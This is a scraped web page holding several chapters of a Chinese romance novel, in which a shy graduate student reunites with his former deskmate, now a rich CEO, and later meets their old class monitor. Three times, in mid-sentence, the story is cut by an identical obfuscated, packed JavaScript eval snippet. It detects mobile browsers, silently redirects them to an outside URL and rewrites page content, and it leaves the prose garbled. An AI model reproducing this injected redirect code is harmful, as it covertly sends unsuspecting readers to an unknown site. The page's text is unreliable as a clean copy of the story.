他呼吸都停了,林斯年的脸在他的眼中放大,又缩小。皮肤大面积的白,映在他的眼里,逐渐向四周扩展,而后他眼前全白了。 他感觉到有轻而软的呼吸落在脸颊,他甚至能看到眼前人脸侧浮动的绒毛。 心跳的声音已经变成实质。 咚、咚、咚…… 差点没当场晕过去,言珩鼻子一酸,有什么东西流出来了,他下意识用手去接。 滴答—— 林斯年看着他手心的血,也愣了。 “有钱也不能这么吃呀?” 言珩没懂林斯年这句话什么意思。 林斯年从口袋里掏出一包纸巾,扯了一张按在言珩的手心,又扯了一张,放到言珩的鼻子旁边,血很快在纸巾上晕开。 “你变有钱了,肯定胡吃海喝了,不然哪容易这么上火呢?说流鼻血就流鼻血呀。”林斯年恨铁不成钢地对言珩说。 言珩只好点头:“啊对。” “以后你还是别这么大吃大喝了,钱又不是大风刮来的。挣这么多钱,坐到这个位置上,背后肯定很辛苦吧。而且对身体也不好呀。吃清淡点,以后能活很久呢。”林斯年说。 一个吻就被他轻描淡写地翻过去了,言珩捂着鼻子低头轻笑,点头应下:“好。” 慢慢来吧,他心里想。 绕着碧鳞江逛了很久,等到人变少了,言珩知道他们也该回去了。 林斯年提醒他:“言珩,你都是大老板了,应该不是那种言而无信的人吧?” “当然不是。” “我刚刚都亲你了。” 言珩呼吸一窒:“我知道。” 别再提醒了,他好不容易把刚才的旖旎画面从脑海里驱赶出去。 林斯年皱眉:“我说,我刚刚亲你了。 言珩捂脸:“我也真的知道了!” 林斯年诧异:“你怎么是这种人啊?” 言珩:“我怎么了?” 林斯年停下脚步,看向言珩,一字一句地认真地重复:“我说,我都亲过你了。” 言珩低头摸了摸脸:“我知道啊。” 触感好像还在。林斯年没戴口罩了,他的目光挪着挪着,就不由自主到了对方的嘴巴上,林斯年说什么他好像都听不到了,只剩嘴巴在他眼里放大,一张一合。 林斯年提高了一些声音:“那你怎么还不跟我说你当年没说完的,到底是什么?” 这人为什么老是忽视他的问题? 言珩:“……” 林斯年一脸鄙夷,认定他要反悔。 过了一会儿,言珩终于调整好心情。 “关于我当年没说完的话嘛,我好像忘了,等再过几天吧,等过几天我想起来了跟你说。”他说。 “你这人怎么这样。”林斯年说。 因为生气,漂亮的男孩脸上的表情很生动。言珩蓦地想起他刚去国外,每天都很累,睡眠时间被训练和学习压缩到不足五个小时。太累了,累到他觉得他还不如终结在小时候的噩梦里。 他像个死狗一样躺在刺目的阳光下,额头上的汗水落入眼睛,带来一阵咸腥的刺痛。 他那时候想,就这样吧。 年迈的老人让手下递给他什么东西。 “没骨头的东西,还不如让你死在国内,和你那恶心的父亲一起自生自灭,果然是低贱的血脉,这么一点痛苦就忍受不了了吗?” 老人坐在华丽的椅子上,双手交叠握住拐杖的顶端,旁边蹲着给他剪雪茄的人。 李助把一叠东西洒落在言珩头顶。 言珩连去拿起来的力气都没有。 李助轻蔑地笑了一下,蹲在他脑袋旁,随手捡起其中一张:“不重要的话,就全部撕掉吧。” 言罢,他撕碎了一张,碎片从言珩扩大的瞳孔里纷纷扬扬地落下。 言珩从地上猛地窜起来,把周围散落的照片拢起来,放到心口,半跪在地上,像只野外保护口粮的疯狗。 照片,照片里的人…… 从他离开后,林斯年依旧好好在生活,唯一的烦恼就是不想出门见人,上学、复习、高考、去了梦校读书、有了交心的朋友、顺利毕业。 他念念不忘的人,被压缩在薄薄的相纸上,脸上的表情永远很平静,像个木偶。 饶是如此,定期送过来的照片也支撑了他在国外的很多年。 如今见到真人,又怕吓到对方,又忍不住地想靠近,他是真不知道该怎么办才好了。 有体温、有呼吸、唇是软的…… 这样一个人。 言珩突然伸手,将林斯年抱在怀里,宽大的手掌整个包裹着对方的头顶,按向自己的肩膀,然后把下巴贴在对方额头上。手心碰到的头发是柔软的,下巴贴着的肌肤是温热的,怀里的人那样鲜活。 他的声音像带了点哽咽。 他说:“我好想你。” 他的声音太低了,像一个人喃喃自语。 林斯年没听明白:“什么?” 被贴着的皮肤有源源不断的热量传递过来,而另一侧的脸颊感受到一阵风,他抬头,透过凌乱垂在额头上的头发,看向言珩,微微凝眉。 言珩:“没什么。” 林斯年:“你的心跳好快。” 言珩:“嗯。” 林斯年:“你是不是以为我不喜欢男生?” 言珩:“嗯。” 林斯年脸上带了点笑意:“好吧。” 果然如他所想,言珩以为他不喜欢男生,所以用这种方式来欺负他,让他难受。 其实他才不会因为这个难受呢。 连一个吻他都不会,更别提拥抱了。 他有点得意。 让言珩自以为是去吧。 晚上十一点多的时候,把林斯年送回家,司机载着言珩离开。 离开前,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374865|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人加了联系方式,言珩高中的微信号很早就停用了,最近回国才创了新号,以防万一,言珩把自己的电话号码也给林斯年存到了通讯录里面。 “明天你什么时候醒了,什么时候跟我说,我来接你。”夜里起了风,两人站在车旁,言珩拢了拢林斯年的围巾,又往下拉了一点帽子,轻轻拍了拍他的脑袋。 “嗯。”林斯年点头。 “好,回去吧。”言珩又拍拍他的肩膀。 “那你明天会跟我说吗?” “说什么?” “说那个答案,说你当年没说完的话。” “那你亲……” 言珩得寸进尺的话没说完,林斯年用脚尖轻轻踢了一下他锃亮的皮鞋,没用很大的力气,就只是用这种行为发泄自己心里的不满。 “你就欺负我吧。”林斯年怒说。 “……外面冷,回去吧。” 等林斯年进了楼,言珩点了一支烟,他回想起林斯年的最后一句话,脸上的苦涩竟然比香烟带给舌根的苦涩还要苦。 对于不喜欢他的人来说,亲吻和拥抱当然可以算作是欺负。 林斯年不喜欢他。 ——这个事实,他比任何人都清楚,从高中到现在,带给他心中的痛历久弥新,钝刀子割肉般,鲜血淋漓却难以割舍。 小心翼翼地推开门,客厅的氛围灯还亮着,林斯年一眼就看到了坐在沙发上的林婉清。 他小声喊:“妈,你还没睡呢?” “我一直在等你呢,你在学校还好,你一说晚上回来睡,我这心里啊,七上八下的。”林婉清说。 “我就住一晚,明天就回学校了。” “哎。”林婉清叹了口气。 她逼着林斯年必须在学校住,也是有自己的考量的。她儿子要是一直在学校住,她也能安心,一旦回来住这么一晚上,她就又舍不得了。 林斯年坐到林婉清旁边,茶几上摆了洗好的水果盘,里面很多蓝莓,他喜欢吃,这是林婉清专门给他留的。 “妈妈,我知道,你别担心,我会努力地适应社会的。”他拿起蓝莓放进嘴里。 “妈妈知道,妈妈就是,哎……” “我明天还要跟极溯的那个新总裁一起,就不在家里吃午饭了,上午他来接我。”林斯年说。 “我就说我儿有福气,刚给极溯投了简历,就得到了人家总裁的赏识。”林婉清很欣慰。 “其实也没这么好啦……” 他没说完,被林婉清打断。 “不过,那个新总裁人怎么样啊?我上他们官网搜了一下,没照片,不过简介上说挺年轻的,和你一样大。” “他……”林斯年回想了一下,不愿意让林婉清多担心,挑捡着说,“他以前很穷,现在很有钱,戴的表好几百万,车也好,据说是只有惹不起的人才能开的车,不过私下挺不爱惜自己身体的吧,今天还突然流鼻血了。” “确实,听你这么一说,他还挺难的,背后肯定付出了很多努力。”林婉清说。 林斯年故作老成,点头:“嗯。” 林婉清看了他一会儿,他正捻着蓝莓一颗接一颗往嘴里送。她问:“蓝莓甜吗?” “嗯,甜。” “你今天看起来挺开心的。” “有吗?”林斯年摸了摸脸。 “有。” 林斯年看向林婉清,对方正笑着看他,于是他也露出一个笑容,挠了挠头发,破有些狼狈地说:“其实挺尴尬的。” “尴尬也开心。” “尴尬怎么会开心呢?” 林婉清摸了摸他的脑袋,没再解释。 林斯年又疑惑地问:“妈,不过,你为什么觉得我今天很开心呀?” “这个呀,我一看你就知道了。” 林斯年:“你会读心术吗?你真厉害。” 5. CH.05 言珩的新微信头像是他的白底公式照,名称就是言珩两个字,十分商务风。 林斯年点进他的朋友圈,不知道是被屏蔽了,还是压根没发过东西,只能看到一条横杠。 林斯年又点到自己的朋友圈,他设置了仅三天可见,近三天没有发过动态,只能看到置顶,是一首英文歌。 他几乎不发朋友圈,要发的话也是先设置仅自己可见,等到三天后才打开,不过那时候已经被三天可见隐藏了。 退出朋友圈,他点进和言珩的聊天框,打字又删除,正要把手里扔在一边时,手机震动了一下。 言珩:我到了,你早点睡。 看了眼时间,林斯年回来和林婉清聊了会天,洗完澡收拾好,这会儿已经十二点出头了。 要拿已经睡着了才不回消息当借口,也是可以被理解的,于是他心安理得地把手机放在枕头边,盖好被子,闭上眼。 第二天醒来的时候,刺眼的阳光落在脸上,他伸手挡了一下,记得自己昨晚有拉好窗帘。 他猜测,应该是林婉清进他房间拉开的,之前赵伟给他做心理疏导的时候随口说过,晒太阳也能稳定激素,林婉清就把这句话记在心上了。 他揉了揉脸,拨了拨凌乱的头发,踩着拖鞋出了房间,林婉清和陆安书都坐在沙发上,一个人看电视一个人看报纸,虽然两人没说话,自有一种别人插不进去的默契。 林斯年愣了一下,不想去破坏这样的氛围,他打心底为母亲现今的幸福高兴。 林婉清却听到了动静,转头看过来,起身招呼他去餐桌:“年年醒了呀,来,给你留了饭,这会儿还热着呢。” “好。”林斯年慢吞吞地走过去。 “你陆叔叔跟别人换岗了,今天不上班,我们两个下午的时候,打算去忘忧津周围转转,晚饭你跟绾绾自己吃。” “好。”林斯年塞了一口米饭。 “钱还够花吗?”林婉清问。 “够。” 他说够花,林婉清还是给他转了钱。 林斯年拿起手机,有两条收款信息,各有两千块钱,他眨了一下眼睛,看向还在沙发上看报纸的中年男人。 “妈妈,陆叔叔也给我转了钱。”林斯年说,“谢谢陆叔叔,我卡里的钱还够花呢。” “男孩子在外面,花钱的地方多,不要省着,跟朋友出去吃饭或者玩什么的,主动结账,咱不占别人便宜,知道吗?” “知道了。”林斯年说。 陆安书是个冷清的性格,是以,母亲嫁过来五年了,林斯年和他还是不熟悉。不过,一个负责任的父亲对孩子会做的,陆安书都会对林斯年做。 林斯年看了一会儿林婉清,想到了什么,突然笑着说:“妈妈,你今天是不是也挺开心的?” “这都被你看出来了?”林婉清说。 “对,我也有读心术。”他说。 “今天一下子有两件喜事呢。”林婉清说,“第一件呢,是你陆叔叔最近升职了,那辆开了很多年的红旗车退休了,换了一辆奔驰。” “恭喜恭喜!”林斯年忙说。 “原来的那辆车可以给你练手开。”林婉清眼角眉梢都是喜色,“第二件事就是我们陆绾绾同学,被极溯录取了!预计一周之后就能入职了。恭喜恭喜!” 林斯年愣了一下:“恭喜。” 陆绾绾是陆安书亡妻给他的遗腹子,所以陆安书对她的要求总是极尽满足,她也很争气,傲娇却不任性,没有沾上任何坏毛病,就连后来的林婉清都打心里对她很好。 刚说到陆绾绾,她就从房间里走了出来,估计也刚醒,神情还发懵,林婉清忙又去招呼她吃饭。 陆绾绾撒娇地抱住林婉清的腰,声音带着刚起床时特有的黏糊:“妈,我找到工作你这么高兴呀,我在房间里都听到你的话了。” “吵到你睡觉了是不是?”林婉清顺了顺陆绾绾乱糟糟的头发。 “怎么会,我本来就该起床了。”陆绾绾站直了身体,又说,“别人望子成龙,我这望父成龙,陆安书你还是太争气了。” 陆安书抬起头,竖了一个大拇指。 陆绾绾抱着林婉清的胳膊说:“不过爸你知道你最争气的一点是什么吗?你最争气的就是在五年前娶了我妈,忒有眼光了,你自己想想咱家是不是那时候开始好起来的?” 陆安书:“是是是。” 三个人彼此对视一眼,都笑了。 林斯年坐在椅子上,夹了一块土豆塞进嘴里,有些食不知味地嚼着。 温馨的氛围里,好像只有他格格不入。 他想,他可能永远都学不会陆绾绾那样的嘴甜会讨人开心。 就像林婉清无数次提醒他,该改口喊陆安书爸爸了,他嗓子就像是坏了一样,喊不出声,愚笨到连自己都看不下去了。 收到言珩的消息时,林斯年正局促地坐在沙发的一角。 像突然有了救星似的,他语气轻快:“妈,他来接我了,我先走了。” “先等等。”林婉清起身,招呼他到厨房,从冰箱里拿出两盒蝴蝶酥,“把这个带上,带给你老板,妈妈亲手做的,主要是一份心意。” “……好。”林斯年接过蝴蝶酥。 “你给极溯投了简历,还有你最近和极溯总裁走得近的事情,妈妈没跟你叔叔和绾绾说。等事情敲定了,妈妈再说吧。”林婉清压低了声音。 “好。” 仔细检查好口罩和帽子,林斯年拿着两盒蝴蝶酥下了楼。楼下停了一辆黑色的车,言珩正靠在副驾的车门上,手里夹了一支烟。 言珩今天穿的不是正装,偏休闲一点,显得整个人没有那么凌厉。车也不是昨天的商务车,是一辆小轿车。林斯年对车知之甚少,除了常见的奥迪奔驰宝马,他几乎分不清车标。 但现在停在他面前的车,他恰好认识。正是刚刚林婉清说陆安书要换掉的红旗车。 “上车。” 言珩打开副驾的车门,自己上了主座。 今天没有司机,开的车也不贵。林斯年抱着蝴蝶酥坐上副驾,拉好安全带,心里猜测,其实言珩并不像他表面那么光鲜亮丽,昨天只是雇了人撑场面。 昨天在林斯年眼里“惹不起”的人,今天突然变得平易近人起来。 于是当言珩握着方向盘,随意瞥来一眼,随口问道“你怀里的东西是什么呀,好吃吗?”的时候,林斯年狠狠皱了一下眉。 林婉清从来不在零花钱上苛刻他,小时候他总是可以在同龄人羡慕的眼神中,吃到很多想吃的零食。 那些按耐不住的小孩子,有时候会直勾勾地盯着他手里的东西说:“你拿的是什么呀,看起来好好吃呀?” 潜台词是“好吃的话给我吃点”。 林斯年不愿意分享,他们还会来抢,对此小时候的他总是很无奈。 林斯年偏头看着言珩的侧脸,记忆里那些可恶的小孩子竟然和眼前的身影重叠了。 这人都这么大了,还想来抢他的东西吗?虽然这些原本就是林婉清让他给言珩带的,但是凭什么?凭什么他要去讨好一个讨厌他的人。 想到这里,林斯年立马抱紧了怀里包装精美的盒子:“我妈给我带的,怕我路上饿。” “你饿了,我会没有钱带你吃饭吗?” “……”林斯年愣了一下。 “你怎么跟你妈妈介绍我的?我听听。在你眼里我就是这么吝啬的老板吗?”言珩说。 林斯年:“……” 如果昨天,言珩说这种话,林斯年一定觉得他是在反讽。但是今天,退去西装、开着十多万的车、而且是自己开车的言珩说这话,林斯年就完全不那么觉得了。 “唉。”他叹了口气,“你的钱,除了用来胡吃海喝,就是用来装场子了吧。你要是真吃不起饭,我请你吃吧,我今天刚收了四千块钱的转账呢。” 说完,他用同情的眼神看向言珩。 言珩:“……” 林斯年尚是认真思考起了这种可能:“要不中午我请你吃鸡公煲吧,我们学校后街有一家很好吃的鸡公煲,我每次一个人去,点了菜都吃不完,我们两个人吃就刚刚好……” “停。”言珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374866|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打断林斯年的想象,等林斯年又看过来的时候,他才说,“你是在瞧不起我吗?” 林斯年:“我、我没有啊。” 言珩:“那你为什么结巴?” 林斯年:“我、我不是结巴呀。” 言珩:“……” 看着言珩有苦说不出的样子,林斯年装作共情叹了口气,认真开导他:“这辆车也很好,虽然不如昨天的车贵、有气派,但是车型很好看,你别因为这个自卑。” 言珩明白林斯年误会什么了。 他揉了揉眉心,他在Z市是有私人住宅的,早上出门的时候还特意在地下车库里挑过,挑不出什么比较低调的车。 他可不想像昨天一样听到尬到头皮发麻的介绍词了,专门借了助理的车,还真是媚眼抛给瞎子看。 今天的计划是去课题组的实验室参观,预计参观用不了太多时间,上午的时候,言珩先带着林斯年回了一趟极溯在Z市的分公司。 公司总部在S市,言珩来这边主要是跟进和Z大的合作项目,分公司里只设置了一个临时办公室,极其简约,几张桌子和显示屏,书架上零星几本书,还有一个独立的小休息室。 他火急火燎地回来,是突然收到了要处理紧急事务的通知,让林斯年自己随便做什么后,就立马埋进一堆文件和三个显示屏里了。 当总裁确实很累,林斯年心想。 言珩办公的时候,他就抱着书看,可能是昨晚没睡好,看了一会儿,又躺在床上补了个觉。 醒来的时候他有点恍惚,撑起上半身,身上盖着的毛毯顺势滑落,嗓音嘶哑问:“几点了?” “十四点了。”言珩说。 “十四点是什么点?”林斯年疑惑。 “下午两点。”言珩解释,而后抬起手表,“用二十四小时计时,是为了提醒你,距离我平时的午饭时间已经过去了——整整两个小时。” 林斯年:“……”斤斤计较。 “所以,就当作是你弥补我的,我已经把你带的蝴蝶酥都吃完了。”言珩指了指桌子上的空盒子。 林斯年:“……”说给你吃了吗? 言珩起身:“起床,走吧,我们去吃你说的那家鸡公煲,看看,拥有四千块钱巨款还让你念念不忘的鸡公煲到底有多好吃。” 林斯年:“……”有四千块钱却请吃均价几十块钱的鸡公煲,意思是他小气吗? 林斯年彻底清醒了,他睡了挺久,早该饿了,一说去吃饭,立马屁颠屁颠跟上,也没顾及言珩吃了他的蝴蝶酥,反正都是林女士专门给言珩做的。 言珩开着导航开车,黑色的红旗汇入车流。林斯年颇有些羡慕,因为他考驾照一把过,但是拿到驾照后一次都没上过路。 途中,林斯年收到了几条消息。 让他意外,是他的继姐陆绾绾发的。 晚晚:[图片] 晚晚:我入职极溯了。 林斯年有些疑惑,早上的时候他已经听到过这个消息了,为什么陆绾绾还要再重复一遍。他放大陆绾绾发的图片,里面显示对方入职了某个技术岗。他和陆绾绾不同专业,但是都属于理工科,陆绾绾的专业也恰好在极溯的招聘范围内。 负熵:恭喜。 晚晚:林斯年,你还记得言珩吗? 林斯年瞥了眼旁边正专心开车的言珩。 负熵:? 晚晚:他高三突然失踪,所有人都不知道他去了哪里,你不好奇吗?毕竟你们可是同桌。 晚晚:哦对了,咱家不缺钱,我在极溯工作,以后一直做到管理层,我也能养你。妈妈总是考虑得太多,关心则乱,你不出去找工作也没关系的。 其实林斯年不太能读出陆绾绾这两句话有什么内涵,他总是要么想的太浅显,要么想的太深入,后来就只看字面意思了。 出于礼貌,他回了一句:好的。 晚晚:可能是人到毕业,居然有些怀念高中的时候了。那会儿,言珩就对我挺特别的吧,可惜,高三的时候,他一声不吭地消失了。 这句话之后,林斯年就没回了 6. CH.06 他们两点半的时候才到了店里,这会儿已经过了饭点,所以只有他们这一桌。林斯年默默看了看言珩粗壮的胳膊和健壮的身板,在点好菜之后又喊住老板另加了两份配菜。 能在大学城开下去的饭店,基本上符合大部分人的口味,老板很舍得放料,看着色泽诱人,吃起来更是鲜香麻辣。 言珩:“怪不得让你年年不忘呢。” 林斯年:“是吧,所以你以后少吃点海参鲍鱼什么的,多吃点普通人吃的饭。” 言珩:“我哪有天天吃?” 林斯年一副你看我信不信就完了的表情,咬了一口煎蛋:“那你为啥流鼻血?我上初中之后就没流过了。” 言珩:“……” 林斯年半是吐槽地说:“学校食堂只有鸡肉做得比较好吃,外面也是,再这样吃下去,感觉自己都要变成黄鼠狼了。” 言珩看着他吃完两个煎蛋,又要去夹第三个煎得外酥里嫩的太阳花煎蛋时,没忍住说:“你这么爱吃鸡蛋,吃不腻吗?” 林斯年:“鸡蛋简直是世界上最完美的食物,怎么会有人不喜欢吃鸡蛋呢?” 言珩总觉得鸡蛋有股腥味,他不爱吃鸡蛋,认为林斯年话里有话,于是说:“再这样下去,你真成黄鼠狼了,鸡见了你都得捂着屁股跑。” 林斯年:“……” 吃完饭的时候三点出头,林斯年点的鸡公煲两个人吃刚好吃完,他之前一个人吃的时候,哪怕是最基础的套餐也会剩很多,本着不浪费粮食的原则,他后来就很少吃了。 这会儿吃开心了,他靠着椅子,瞥了好几眼言珩的肚子。 也没变得很大呀。 言珩身高有187,一点不掺水分。林斯年高中的时候见过言珩的父母,他的父亲中等身高,但是母亲在女性中的身高是拔尖的,而且漂亮得极凌厉,言珩的大部分外貌特点都遗传了他的妈妈。 林斯年印象中高中的言珩很瘦,所以身高会让他显得很突兀,像一根麻秆。现在就完全不是那么回事儿了,即便穿着宽松的衣服,也偶尔能看到下面并不夸张的饱满肌肉,放人群里,像一堵小山。 言珩挑眉:“看什么呢看这么久?” 林斯年如实回答:“看你肚子。” 言珩站起来走到林斯年旁边,不由分说抓着他的手放到自己衣摆里面。 林斯年摸到了硬邦邦的肌肉,他有点酸,其实有时候看着别人的好身材,他也想去健身房,但是一想到去了健身房,想到那个场景,他袖子里的胳膊就起了一片鸡皮疙瘩。 顶着言珩的目光,林斯年抽出手,有些不是滋味地说:“挺好。” 从Z大后街到学校正门,走过去要二十分钟,还是挺久的,两人打算开车过去。 言珩把车停在了旁边一座大厦的地下停车场,林斯年亦步亦趋地跟在他身后。 “上车。”言珩打开副驾的车门。 就在林斯年要上车的时候,突然感觉有什么东西晃到了他的眼睛,言珩背对着他,看到了这一片被照亮了一瞬间。 ——有人开闪光灯拍了一张照片。 这个推断划过脑子的一刻,言珩把林斯年推进车内,关上了车门,他大步流星往另一边走,想看清楚偷拍的人是谁。 林斯年把车窗打下来:“言珩!” 言珩皱着眉,在周围找了一会儿,没找到人,才回到主驾,拉好安全带:“啧,不知道是谁偷拍了一张照片。” 林斯年摸了摸口罩:“嗯。” 这个小插曲没引起水花,很快翻过去。林斯年出示了程导的批准后,门卫把他们放进去。在停车场停好车,林斯年拉着言珩往实验室走。 程导最近在做的项目是关于防辐射材料的,而极溯主攻放射性医学设备的创新和生产,所以能有合作并不意外。 没有忘记程导的嘱咐,林斯年边走边介绍:“目前国内应用于强辐射环境的材料,相比于国际水平还是有很多欠缺,不管是材料的稳定性和抗辐射性都不够优秀。这应该也是你和老师合作的初衷,就是想要研发出一批便宜的、性能好的材料,在医学仪器上使用。” 言珩点头:“是,很专业。” 林斯年又说:“我们现在的核心想法是在材料里面掺杂一些特殊阳离子,不过还在试验阶段,后续只有一个大致的雏形规划。” 他说得很客观,而且在合作之前,双方应该已经把各自的筹码谈好了,不认为自己说些什么会对合作有影响。 言珩:“继续。” 林斯年:“现在的实验室,主要是两个,一个是我们课题组自己的实验室,有一些测量仪器和材料制备的装置,另一个实验室,其实是租借了别的研究所的放射源,因为把材料制备好之后要去辐照嘛。” 言珩:“嗯。” “我们现在去的是前者,就在学校里。” 说着说着,两人就到了。林斯年用自己的门禁卡开了门,言珩跟在他身后进来。 许凌音正坐在实验台前,听到动静扭头问:“学弟怎么现在才来呀?” “上午他有点事情要紧急回公司处理一下,这会才有空过来。”林斯年说。 “言总好。”许凌音看向后进来的言珩。 言珩:“没事,我就随便看看,你们自己做自己的就好。” 许凌音:“行。” 算起来,言珩比许凌音还小两岁,所以许凌音并不拘谨。林斯年给言珩介绍每个设备是用来做什么的时候,她就坐在实验台前干自己的事。 全部介绍完,时间还很早。 林斯年让言珩坐在一旁的椅子上,看着忙碌的许凌音问:“学姐,有什么我可以帮忙的吗?” “有啊,太好了,你要帮忙的话,我就有空去忙网店的事了,正好下午有个男生想来面试模特。”许凌音把研钵放到他手心,“帮我把粉末研磨得更细一点。” “好。”林斯年接过来。 “还是和去年一样的流程,不过不是陶瓷了,今年是玻璃。这是配方表,把那个磨完,你有空再帮我称重一下。”许凌音说。 “好。”林斯年点头。 一旁的男研究生有些不忿地说:“你可真厉害啊许凌音,人家带着领导参观咱们实验室,你让人家替你磨玻璃,你这不胡闹呢吗?” 相比起大部分人来说,许凌音的家境算是很不错的,不过她爱折腾,什么都想尝试。面对比她还小的言珩的时候,尽管知道对方地位高,也没什么想真正巴结讨好的心思。 “俩人高中同学,关系好着呢。”许凌音说,“而且有人帮我,我偷着乐还来不及呢。要是早知道读研这么辛苦,我当初就不那么起早贪黑复习了。前人诚不欺我,读研就像围城,里面的人想出来,外面的人想进去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374867|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话引起了实验室一众研究生的共鸣,少不了几句“牛马”之类的吐槽。 到底年轻,尽管每个人表情都一言难尽,整个实验室却萦绕着一派欣欣向荣的氛围。 林斯年搅动研钵,只要不是和人交流的事情,他都做得很认真,他也很喜欢做这些事,这会让他感到从内而外的平静。 许凌音洗了手,把茶水送到言珩手中,看了眼低着头乖乖坐着的林斯年,怕他没听懂,解释说:“他们说自己牛马,是自嘲,自嘲自己当牛做马给别人打工。” 林斯年笑着点头:“这个我知道。” 许凌音看了眼坐在一边的言珩,没有导师在,她回归本性,开玩笑说:“还是当总裁好。” 周围人都用余光瞧着这边,想看言珩会不会因为这句无伤大雅的玩笑生气,只见他抿了一口茶,笑着摇头说:“我怎么不算另一种意义上的牛马呢?” 见他没生气,实验室发出一阵“吁”声。 总裁都是牛马了,那他们算什么? 不过言珩看起来挺好说话的,本来他们就对这个年轻的总裁好奇,大家做自己的事情的时候也会随口问他几句。 诸如“你有私人飞机吗?”、“见过凌晨四点的洛杉矶吗?”、“茂密的头发是真发吗?”、“开会一开开四五个小时会憋尿吗?”等等。 言珩脱离校园很久了,平时接触的要么是毕恭毕敬的职工,要么是像他外公一样不苟言笑的老人,乍一下见了这么多跟葱似的少年人,也挺新奇的,不过面上不表。 别人问他,他都耐心一一解答。 等喧闹平息下去,林斯年放下研钵,活动活动身体,而后瞧了瞧言珩的肚子,想起了什么,又上手摸了摸。 言珩:“……”瞬间绷紧。 林斯年撇嘴,酸道:“你要是牛马的话,肯定是脱脂牛马。” 当牛马还有时间健身呢? 他自己不觉得自己说的话好笑,实验室的其他人听了却哈哈大笑,更有甚者拍了一下桌子。 一个比较胖的男研究生笑着说:“那我是什么品种的牛马?” 许凌音:“你是全脂牛马。” 又是一阵哄堂大笑。 等许凌音的工作忙完,他们一起下了楼。许凌音一手拿车钥匙凌空转圈,一手拿着手机看消息,有些诧异地说:“哎?那个要面试的男生来我们学校找我了,这会儿在停车场呢,我们一起过去吧。” 快到露天停车场的时候,许凌音给对方打了个微信电话,说她马上到了,那边说好。 不知道为什么,林斯年感觉许凌音手机里,微微透出来的一点声音,他好像听过似的。 五点多将近六点的时候,天空将将变暗,穿过操场旁的小路,许凌音走在前面,林斯年和言珩并肩跟在后面。 许凌音突然伸手打招呼:“嗨!” 对方也说:“嗨。” 许凌音笑着说:“叫季铭川是吗?你本人比照片还长得帅呀。” 林斯年和言珩脚步都是一顿。 透过许凌音的肩膀,林斯年看到,一辆白色的轿车旁边,靠着一个穿着黑色卫衣和牛仔裤的男生,头发是棕色的卷发,正在朝这边笑,如许凌音所说,长相在人群中十分出众。 他像是突然看到林斯年一样,脸上的笑意逐渐扩大,声音里是藏不住的诧异:“林斯年?” 7. CH.07 要问林斯年关于垂城二中的记忆,一定少不了和季铭川的相处。 季铭川是班长,学习成绩好,情商高,和人交流的时候让人如沐春风,不光老师喜欢他,同学也信服他。 林斯年转学过去,刚开始不适应,每次遇到了他处理不了的问题的时候,都是季铭川帮他,更别说后来他跟同学闹矛盾,也是季铭川一直在照顾他。 季铭川家境好,高中毕业就出国了。 刚开始,两人还会在微信上聊一些琐事,后来因为彼此都太忙了,就只是逢年过节发句祝福语。 本来以为以后没机会再见了,突然在这里见到季铭川,林斯年略感惊喜:“好久不见,班长!” “好久不见,斯年。”季铭川笑着走过来,像是才看到站在林斯年旁边的人,他凝眉端详了许久,茅塞顿开,“这不是言珩吗?” 言珩点头示意:“好久不见。” 许凌音把玩着车钥匙:“不是吧,学弟,这么巧的事情都让你遇上了?昨天遇见高中同桌,今天又遇见高中班长?” 季铭川向林斯年求证:“你和言珩是昨天才见到面吗?” “对。”林斯年点头。 “我说呢,他一走好几年,谁都不知道他去了哪里?我还以为,你跟他有联系,偷偷藏着不告诉我们呢。” 林斯年取出口罩戴上,转移话题:“班长,你是来应聘许学姐网店的模特的吗?” 季铭川这才想起来此行的目的:“我刚毕了业回国,想先找个兼职过度一下。正好看到这家网店在招聘,又看到官网上很多照片像你,所以来试试,没想到真是你。” “对,是我。”林斯年说。 季铭川看向言珩:“虽然最后一次见面,我们闹得不太愉快,但现在看来,也不过是小孩子之间的打闹,我们就不当回事了吧,言珩?” 言珩拿出车钥匙按了一下,不远处的黑色车滴滴两声响。他将唇抿成一条直线,不置可否。 季铭川没有因为他的忽视恼火,反而伸出手,声音里都是欣慰,看着那辆亮起车灯的车。 “还记得你高中的时候,家里那么穷,每年都申请补助,你父亲也……那个样子,你这些年挺努力的吧,看起来过得挺好,还置办了一辆车是吗?” 言珩没管伸在他面前的那只手,就那么站着,站在林斯年旁边,把季铭川当空气。 林斯年用食指指腹摸了摸大拇指的指甲,刚刚他研磨粉末的时候,指甲劈裂了一点,摸上去微微有点剌手。 他不喜欢社交,有一部分原因就是很害怕落入这样尴尬的场景里,顿了顿,他说:“班长,你面试着急吗?” 